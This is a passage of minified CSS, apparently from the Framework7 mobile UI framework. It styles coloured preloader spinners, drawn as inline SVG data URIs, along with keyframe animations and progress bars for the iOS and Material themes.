use%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E")}.ios .preloader.color-pink,.ios .preloader.preloader-pink{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ff2d55'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E")}.ios .preloader.color-yellow,.ios .preloader.preloader-yellow{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ffcc00'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E")}.ios .preloader.color-orange,.ios .preloader.preloader-orange{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ff9500'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E")}.ios .preloader.color-gray,.ios .preloader.preloader-gray{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%238e8e93'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E")}.ios .preloader.color-white,.ios .preloader.preloader-white{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ffffff'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E")}.ios .preloader.color-black,.ios .preloader.preloader-black{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23000000'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E")}@-webkit-keyframes ios-preloader-spin{100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes ios-preloader-spin{100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.md .preloader{font-size:0;display:inline-block;width:32px;height:32px;-webkit-animation:md-preloader-outer 3.3s linear infinite;animation:md-preloader-outer 3.3s linear infinite}@-webkit-keyframes md-preloader-outer{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes md-preloader-outer{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.md .preloader-inner{position:relative;display:block;width:100%;height:100%;-webkit-animation:md-preloader-inner-rotate 5.25s cubic-bezier(.35,0,.25,1) infinite;animation:md-preloader-inner-rotate 5.25s cubic-bezier(.35,0,.25,1) infinite}.md .preloader-inner .preloader-inner-gap{position:absolute;width:2px;left:50%;margin-left:-1px;top:0;bottom:0;-webkit-box-sizing:border-box;box-sizing:border-box;border-top:4px solid #757575}.md .preloader-inner .preloader-inner-left,.md .preloader-inner .preloader-inner-right{position:absolute;top:0;height:100%;width:50%;overflow:hidden}.md .preloader-inner .preloader-inner-half-circle{position:absolute;top:0;height:100%;width:200%;-webkit-box-sizing:border-box;box-sizing:border-box;border:4px solid #757575;border-bottom-color:transparent!important;border-radius:50%;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;-webkit-animation-duration:1.3125s;animation-duration:1.3125s;-webkit-animation-timing-function:cubic-bezier(.35,0,.25,1);animation-timing-function:cubic-bezier(.35,0,.25,1)}.md .preloader-inner .preloader-inner-left{left:0}.md .preloader-inner .preloader-inner-left .preloader-inner-half-circle{left:0;border-right-color:transparent!important;-webkit-animation-name:md-preloader-left-rotate;animation-name:md-preloader-left-rotate}.md .preloader-inner .preloader-inner-right{right:0}.md .preloader-inner .preloader-inner-right .preloader-inner-half-circle{right:0;border-left-color:transparent!important;-webkit-animation-name:md-preloader-right-rotate;animation-name:md-preloader-right-rotate}.md .preloader-modal{border-radius:4px}.md .preloader.color-red .preloader-inner-gap,.md .preloader.color-red .preloader-inner-half-circle,.md .preloader.preloader-red .preloader-inner-gap,.md .preloader.preloader-red .preloader-inner-half-circle{border-color:#f44336}.md .preloader.color-green .preloader-inner-gap,.md .preloader.color-green .preloader-inner-half-circle,.md .preloader.preloader-green .preloader-inner-gap,.md .preloader.preloader-green .preloader-inner-half-circle{border-color:#4caf50}.md .preloader.color-blue .preloader-inner-gap,.md .preloader.color-blue .preloader-inner-half-circle,.md .preloader.preloader-blue .preloader-inner-gap,.md .preloader.preloader-blue .preloader-inner-half-circle{border-color:#2196f3}.md .preloader.color-pink .preloader-inner-gap,.md .preloader.color-pink .preloader-inner-half-circle,.md .preloader.preloader-pink .preloader-inner-gap,.md .preloader.preloader-pink .preloader-inner-half-circle{border-color:#e91e63}.md .preloader.color-yellow .preloader-inner-gap,.md .preloader.color-yellow .preloader-inner-half-circle,.md .preloader.preloader-yellow .preloader-inner-gap,.md .preloader.preloader-yellow .preloader-inner-half-circle{border-color:#ffeb3b}.md .preloader.color-orange .preloader-inner-gap,.md .preloader.color-orange .preloader-inner-half-circle,.md .preloader.preloader-orange .preloader-inner-gap,.md .preloader.preloader-orange .preloader-inner-half-circle{border-color:#ff9800}.md .preloader.color-gray .preloader-inner-gap,.md .preloader.color-gray .preloader-inner-half-circle,.md .preloader.preloader-gray .preloader-inner-gap,.md .preloader.preloader-gray .preloader-inner-half-circle{border-color:#9e9e9e}.md .preloader.color-white .preloader-inner-gap,.md .preloader.color-white .preloader-inner-half-circle,.md .preloader.preloader-white .preloader-inner-gap,.md .preloader.preloader-white .preloader-inner-half-circle{border-color:#fff}.md .preloader.color-black .preloader-inner-gap,.md .preloader.color-black .preloader-inner-half-circle,.md .preloader.preloader-black .preloader-inner-gap,.md .preloader.preloader-black .preloader-inner-half-circle{border-color:#000}.md .preloader.color-multi .preloader-inner-left .preloader-inner-half-circle{-webkit-animation-name:md-preloader-left-rotate-multicolor;animation-name:md-preloader-left-rotate-multicolor}.md .preloader.color-multi .preloader-inner-right .preloader-inner-half-circle{-webkit-animation-name:md-preloader-right-rotate-multicolor;animation-name:md-preloader-right-rotate-multicolor}@-webkit-keyframes md-preloader-left-rotate{0%,100%{-webkit-transform:rotate(130deg);transform:rotate(130deg)}50%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}}@keyframes md-preloader-left-rotate{0%,100%{-webkit-transform:rotate(130deg);transform:rotate(130deg)}50%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}}@-webkit-keyframes md-preloader-right-rotate{0%,100%{-webkit-transform:rotate(-130deg);transform:rotate(-130deg)}50%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}}@keyframes md-preloader-right-rotate{0%,100%{-webkit-transform:rotate(-130deg);transform:rotate(-130deg)}50%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}}@-webkit-keyframes md-preloader-inner-rotate{12.5%{-webkit-transform:rotate(135deg);transform:rotate(135deg)}25%{-webkit-transform:rotate(270deg);transform:rotate(270deg)}37.5%{-webkit-transform:rotate(405deg);transform:rotate(405deg)}50%{-webkit-transform:rotate(540deg);transform:rotate(540deg)}62.5%{-webkit-transform:rotate(675deg);transform:rotate(675deg)}75%{-webkit-transform:rotate(810deg);transform:rotate(810deg)}87.5%{-webkit-transform:rotate(945deg);transform:rotate(945deg)}100%{-webkit-transform:rotate(1080deg);transform:rotate(1080deg)}}@keyframes md-preloader-inner-rotate{12.5%{-webkit-transform:rotate(135deg);transform:rotate(135deg)}25%{-webkit-transform:rotate(270deg);transform:rotate(270deg)}37.5%{-webkit-transform:rotate(405deg);transform:rotate(405deg)}50%{-webkit-transform:rotate(540deg);transform:rotate(540deg)}62.5%{-webkit-transform:rotate(675deg);transform:rotate(675deg)}75%{-webkit-transform:rotate(810deg);transform:rotate(810deg)}87.5%{-webkit-transform:rotate(945deg);transform:rotate(945deg)}100%{-webkit-transform:rotate(1080deg);transform:rotate(1080deg)}}@-webkit-keyframes md-preloader-left-rotate-multicolor{0%,100%{border-left-color:#4285f4;-webkit-transform:rotate(130deg);transform:rotate(130deg)}75%{border-left-color:#1b9a59;border-top-color:#1b9a59}50%{border-left-color:#f7c223;border-top-color:#f7c223;-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}25%{border-left-color:#de3e35;border-top-color:#de3e35}}@keyframes md-preloader-left-rotate-multicolor{0%,100%{border-left-color:#4285f4;-webkit-transform:rotate(130deg);transform:rotate(130deg)}75%{border-left-color:#1b9a59;border-top-color:#1b9a59}50%{border-left-color:#f7c223;border-top-color:#f7c223;-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}25%{border-left-color:#de3e35;border-top-color:#de3e35}}@-webkit-keyframes md-preloader-right-rotate-multicolor{0%,100%{border-right-color:#4285f4;-webkit-transform:rotate(-130deg);transform:rotate(-130deg)}75%{border-right-color:#1b9a59;border-top-color:#1b9a59}50%{border-right-color:#f7c223;border-top-color:#f7c223;-webkit-transform:rotate(5deg);transform:rotate(5deg)}25%{border-top-color:#de3e35;border-right-color:#de3e35}}@keyframes md-preloader-right-rotate-multicolor{0%,100%{border-right-color:#4285f4;-webkit-transform:rotate(-130deg);transform:rotate(-130deg)}75%{border-right-color:#1b9a59;border-top-color:#1b9a59}50%{border-right-color:#f7c223;border-top-color:#f7c223;-webkit-transform:rotate(5deg);transform:rotate(5deg)}25%{border-top-color:#de3e35;border-right-color:#de3e35}}.progressbar,.progressbar-infinite{width:100%;overflow:hidden;position:relative;display:block;-webkit-transform-style:preserve-3d;transform-style:preserve-3d}.framework7-root>.progressbar,.framework7-root>.progressbar-infinite,.page>.progressbar,.page>.progressbar-infinite,.panel>.progressbar,.panel>.progressbar-infinite,.popup>.progressbar,.popup>.progressbar-infinite,.view>.progressbar,.view>.progressbar-infinite,.views>.progressbar,.views>.progressbar-infinite,body>.progressbar,body>.progressbar-infinite{position:absolute;left:0;top:0;z-index:15000;border-radius:0!important;-webkit-transform-origin:center top!important;transform-origin:center top!important}.with-statusbar.device-ios .framework7-root>.progressbar,.with-statusbar.device-ios .framework7-root>.progressbar-infinite,.with-statusbar.device-ios body>.progressbar,.with-statusbar.device-ios body>.progressbar-infinite,.with-statusbar.ios:not(.device-ios):not(.device-android) .framework7-root>.progressbar,.with-statusbar.ios:not(.device-ios):not(.device-android) .framework7-root>.progressbar-infinite,.with-statusbar.ios:not(.device-ios):not(.device-android) body>.progressbar,.with-statusbar.ios:not(.device-ios):not(.device-android) body>.progressbar-infinite{top:20px}.with-statusbar.device-android .framework7-root>.progressbar,.with-statusbar.device-android .framework7-root>.progressbar-infinite,.with-statusbar.device-android body>.progressbar,.with-statusbar.device-android body>.progressbar-infinite,.with-statusbar.md:not(.device-ios):not(.device-android) .framework7-root>.progressbar,.with-statusbar.md:not(.device-ios):not(.device-android) .framework7-root>.progressbar-infinite,.with-statusbar.md:not(.device-ios):not(.device-android) body>.progressbar,.with-statusbar.md:not(.device-ios):not(.device-android) body>.progressbar-infinite{top:24px}.with-statusbar.device-iphone-x .framework7-root>.progressbar,.with-statusbar.device-iphone-x .framework7-root>.progressbar-infinite,.with-statusbar.device-iphone-x body>.progressbar,.with-statusbar.device-iphone-x body>.progressbar-infinite{top:constant(safe-area-inset-top);top:env(safe-area-inset-top)}.progressbar{vertical-align:middle}.progressbar span{width:100%;height:100%;position:absolute;left:0;top:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0);-webkit-transition-duration:150ms;transition-duration:150ms}.progressbar-infinite:after,.progressbar-infinite:before{position:absolute;left:0;top:0;width:100%;height:100%;-webkit-transform-origin:left center;transform-origin:left center;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);display:block}.progressbar-infinite.color-multi{background:0 0!important}.progressbar-in{-webkit-animation:progressbar-in 150ms forwards;animation:progressbar-in 150ms forwards}.progressbar-out{-webkit-animation:progressbar-out 150ms forwards;animation:progressbar-out 150ms forwards}@-webkit-keyframes progressbar-in{from{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}to{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}}@keyframes progressbar-in{from{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}to{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}}@-webkit-keyframes progressbar-out{from{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}to{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes progressbar-out{from{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}to{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}.ios .progressbar,.ios .progressbar-infinite{height:2px;background:#b6b6b6;-webkit-transform-origin:center top;transform-origin:center top;border-radius:2px}.ios .progressbar span{background:#007aff}.ios .progressbar-infinite:before{content:'';background:#007aff;-webkit-animation:ios-progressbar-infinite 1s linear infinite;animation:ios-progressbar-infinite 1s linear infinite}.ios .progressbar-infinite.color-multi:before{width:400%;background-image:-webkit-gradient(linear,left top,right top,from(#4cd964),color-stop(#5ac8fa),color-stop(#007aff),color-stop(#34aadc),color-stop(#5856d6),color-stop(#ff2d55),color-stop(#5856d6),color-stop(#34aadc),color-stop(#007aff),color-stop(#5ac8fa),to(#4cd964));background-image:-webkit-linear-gradient(left,#4cd964,#5ac8fa,#007aff,#34aadc,#5856d6,#ff2d55,#5856d6,#34aadc,#007aff,#5ac8fa,#4cd964);background-image:linear-gradient(to right,#4cd964,#5ac8fa,#007aff,#34aadc,#5856d6,#ff2d55,#5856d6,#34aadc,#007aff,#5ac8fa,#4cd964);background-size:25% 100%;background-repeat:repeat-x;-webkit-animation:ios-progressbar-infinite-multicolor 3s linear infinite;animation:ios-progressbar-infinite-multicolor 3s linear infinite}.ios .color-theme-red .progressbar span{background:#ff3b30}.ios .color-theme-red .progressbar-infinite:before{background:#ff3b30}.ios .color-theme-green .progressbar span{background:#4cd964}.ios .color-theme-green .progressbar-infinite:before{background:#4cd964}.ios .color-theme-blue .progressbar span{background:#007aff}.ios .color-theme-blue .progressbar-infinite:before{background:#007aff}.ios .color-theme-pink .progressbar span{background:#ff2d55}.ios .color-theme-pink .progressbar-infinite:before{background:#ff2d55}.ios .color-theme-yellow .progressbar span{background:#fc0}.ios .color-theme-yellow .progressbar-infinite:before{background:#fc0}.ios .color-theme-orange .progressbar span{background:#ff9500}.ios .color-theme-orange .progressbar-infinite:before{background:#ff9500}.ios .color-theme-gray .progressbar span{background:#8e8e93}.ios .color-theme-gray .progressbar-infinite:before{background:#8e8e93}.ios .color-theme-white .progressbar span{background:#fff}.ios .color-theme-white .progressbar-infinite:before{background:#fff}.ios .color-theme-black .progressbar span{background:#000}.ios .color-theme-black .progressbar-infinite:before{background:#000}.ios .progressbar.color-red span{background:#ff3b30}.ios .progressbar-infinite.color-red:before{background:#ff3b30}.ios .progressbar.color-green span{background:#4cd964}.ios .progressbar-infinite.color-green:before{background:#4cd964}.ios .progressbar.color-blue span{background:#007aff}.ios .progressbar-infinite.color-blue:before{background:#007aff}.ios .progressbar.color-pink span{background:#ff2d55}.ios .progressbar-infinite.color-pink:before{background:#ff2d55}.ios .progressbar.color-yellow span{background:#fc0}.ios .progressbar-infinite.color-yellow:before{background:#fc0}.ios .progressbar.color-orange span{background:#ff9500}.ios .progressbar-infinite.color-orange:before{background:#ff9500}.ios .progressbar.color-gray span{background:#8e8e93}.ios .progressbar-infinite.color-gray:before{background:#8e8e93}.ios .progressbar.color-white span{background:#fff}.ios .progressbar-infinite.color-white:before{background:#fff}.ios .progressbar.color-black span{background:#000}.ios .progressbar-infinite.color-black:before{background:#000}@-webkit-keyframes ios-progressbar-infinite{0%{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}100%{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}@keyframes ios-progressbar-infinite{0%{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}100%{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}@-webkit-keyframes ios-progressbar-infinite-multicolor{0%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}100%{-webkit-transform:translate3d(-50%,0,0);transform:translate3d(-50%,0,0)}}@keyframes ios-progressbar-infinite-multicolor{0%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}100%{-webkit-transform:translate3d(-50%,0,0);transform:translate3d(-50%,0,0)}}.md .progressbar,.md .progressbar-infinite{height:4px;background:rgba(33,150,243,.5);-webkit-transform-origin:center bottom;transform-origin:center bottom}.md .progressbar span{background:#2196f3}.md .progressbar-infinite{z-index:15000}.md .progressbar-infinite:after,.md .progressbar-infinite:before{content:'';background:#2196f3}.md .progressbar-infinite:before{-webkit-animation:md-progressbar-infinite-1 2s linear infinite;animation:md-progressbar-infinite-1 2s linear infinite}.md .progressbar-infinite:after{-webkit-animation:md-progressbar-infinite-2 2s linear infinite;animation:md-progressbar-infinite-2 2s linear infinite}.md .progressbar-infinite.color-multi:before{background:0 0;-webkit-animation:md-progressbar-infinite-multicolor-bg 3s step-end infinite;animation:md-progressbar-infinite-multicolor-bg 3s step-end infinite}.md .progressbar-infinite.color-multi:after{background:0 0;-webkit-animation:md-progressbar-infinite-multicolor-fill 3s linear infinite;animation:md-progressbar-infinite-multicolor-fill 3s linear infinite;-webkit-transform-origin:center center;transform-origin:center center}.md .color-theme-red .progressbar,.md .color-theme-red .progressbar-infinite{background:rgba(244,67,54,.5)}.md .color-theme-red .progressbar span{background:#f44336}.md .color-theme-red .progressbar-infinite:after,.md .color-theme-red .progressbar-infinite:before{background:#f44336}.md .color-theme-green .progressbar,.md .color-theme-green .progressbar-infinite{background:rgba(76,175,80,.5)}.md .color-theme-green .progressbar span{background:#4caf50}.md .color-theme-green .progressbar-infinite:after,.md .color-theme-green .progressbar-infinite:before{background:#4caf50}.md .color-theme-blue .progressbar,.md .color-theme-blue .progressbar-infinite{background:rgba(33,150,243,.5)}.md .color-theme-blue .progressbar span{background:#2196f3}.md .color-theme-blue .progressbar-infinite:after,.md .color-theme-blue .progressbar-infinite:before{background:#2196f3}.md .color-theme-pink .progressbar,.md .color-theme-pink .progressbar-infinite{background:rgba(233,30,99,.5)}.md .color-theme-pink .progressbar span{background:#e91e63}.md .color-theme-pink .progressbar-infinite:after,.md .color-theme-pink 